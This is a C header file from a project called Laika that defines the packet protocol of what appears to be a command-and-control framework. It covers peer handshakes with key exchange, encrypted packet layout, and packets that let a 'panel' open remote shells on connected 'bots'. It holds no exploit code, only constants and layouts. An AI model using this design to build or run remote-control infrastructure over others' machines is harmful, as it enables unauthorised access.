Laika/lib/include/lpacket.h

#ifndef LAIKA_PACKET_H
#define LAIKA_PACKET_H

#include <inttypes.h>

#define LAIKA_MAGIC                 "LAI\x12"
#define LAIKA_MAGICLEN              4

#define LAIKA_MAX_PKTSIZE           4096

#define LAIKA_HOSTNAME_LEN          64
#define LAIKA_IPSTR_LEN             64
#define LAIKA_INET_LEN              22

#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS            16

#define LAIKA_HANDSHAKE_SALT_LEN    32
#define LAIKA_PING_INTERVAL         5000

/*
    first handshake between peer & cnc works as so:
        - peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
            inet ip
        - after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
        - cnc responds with LAIKAPKT_HANDSHAKE_RES
        - if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
            sent

    encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
    {
        LAIKAPKT_ID pktID; -- plain text
        uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
        uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
    }

    any packet ending with *_RES is cnc 2 peer
    any packet ending with *_REQ is peer 2 cnc
    if packet doesn't have either, it can be sent & received by both peer & cnc
*/

enum
{
    /* =======================================[[ Peer ]]======================================== */
    LAIKAPKT_VARPKT,
    /* layout of LAIKAPKT_VARPKT:
     *   LAIKAPKT_SIZE pktSize;
     *   LAIKAPKT_ID pktID;
     */
    LAIKAPKT_HANDSHAKE_REQ,
    /* first packet sent by peer & received by cnc */
    /* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
     *   uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
     *   uint8_t majorVer;
     *   uint8_t minorVer;
     *   uint8_t osType;
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
     *   char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
     *   char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
     */
    LAIKAPKT_HANDSHAKE_RES,
    /* layout of LAIKAPKT_HANDSHAKE_RES:
     *   uint8_t cncEndian;
     *   uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
     */
    LAIKAPKT_PEER_LOGIN_REQ,
    /* second packet sent by peer & received by cnc there is no response packet. the socket
    connection will be closed if an unexpected peer type is provided. this is to prove that the peer
    is the public key they say they are. */
    /* layout of LAIKAPKT_PEER_LOGIN_REQ
     *   uint8_t peerType;
     *   uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
     */
    LAIKAPKT_PINGPONG,
    /* layout of LAIKAPKT_PINGPONG:
     *   NULL (empty packet)
     */
    LAIKAPKT_SHELL_OPEN,
    /* layout of LAIKAPKT_SHELL_OPEN:
     *   uint32_t id;
     *   uint16_t cols;
     *   uint16_t rows;
     */
    LAIKAPKT_SHELL_CLOSE,
    /* layout of LAIKAPKT_SHELL_CLOSE:
     *   uint32_t id;
     */
    LAIKAPKT_SHELL_DATA,
    /* layout of LAIKAPKT_SHELL_DATA
     *   uint32_t id;
     *   char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
     */
    /* =======================================[[ Auth ]]======================================== */
    LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
    /* notification that a peer has connected to the cnc */
    /* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   char hostname[LAIKA_HOSTNAME_LEN];
     *   char inet[LAIKA_INET_LEN];
     *   char ipStr[LAIKA_IPSTR_LEN];
     *   uint8_t peerType;
     *   uint8_t osType;
     */
    LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
    /* notification that a peer has disconnected from the cnc */
    /* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint8_t peerType;
     */
    LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
    /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
     * open */
    /* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
     *   uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
     *   uint16_t cols;
     *   uint16_t rows;
     */
    LAIKAPKT_MAXNONE
};

typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE;

#ifdef DEBUG
const char *laikaD_getPacketName(LAIKAPKT_ID);
#endif

#endif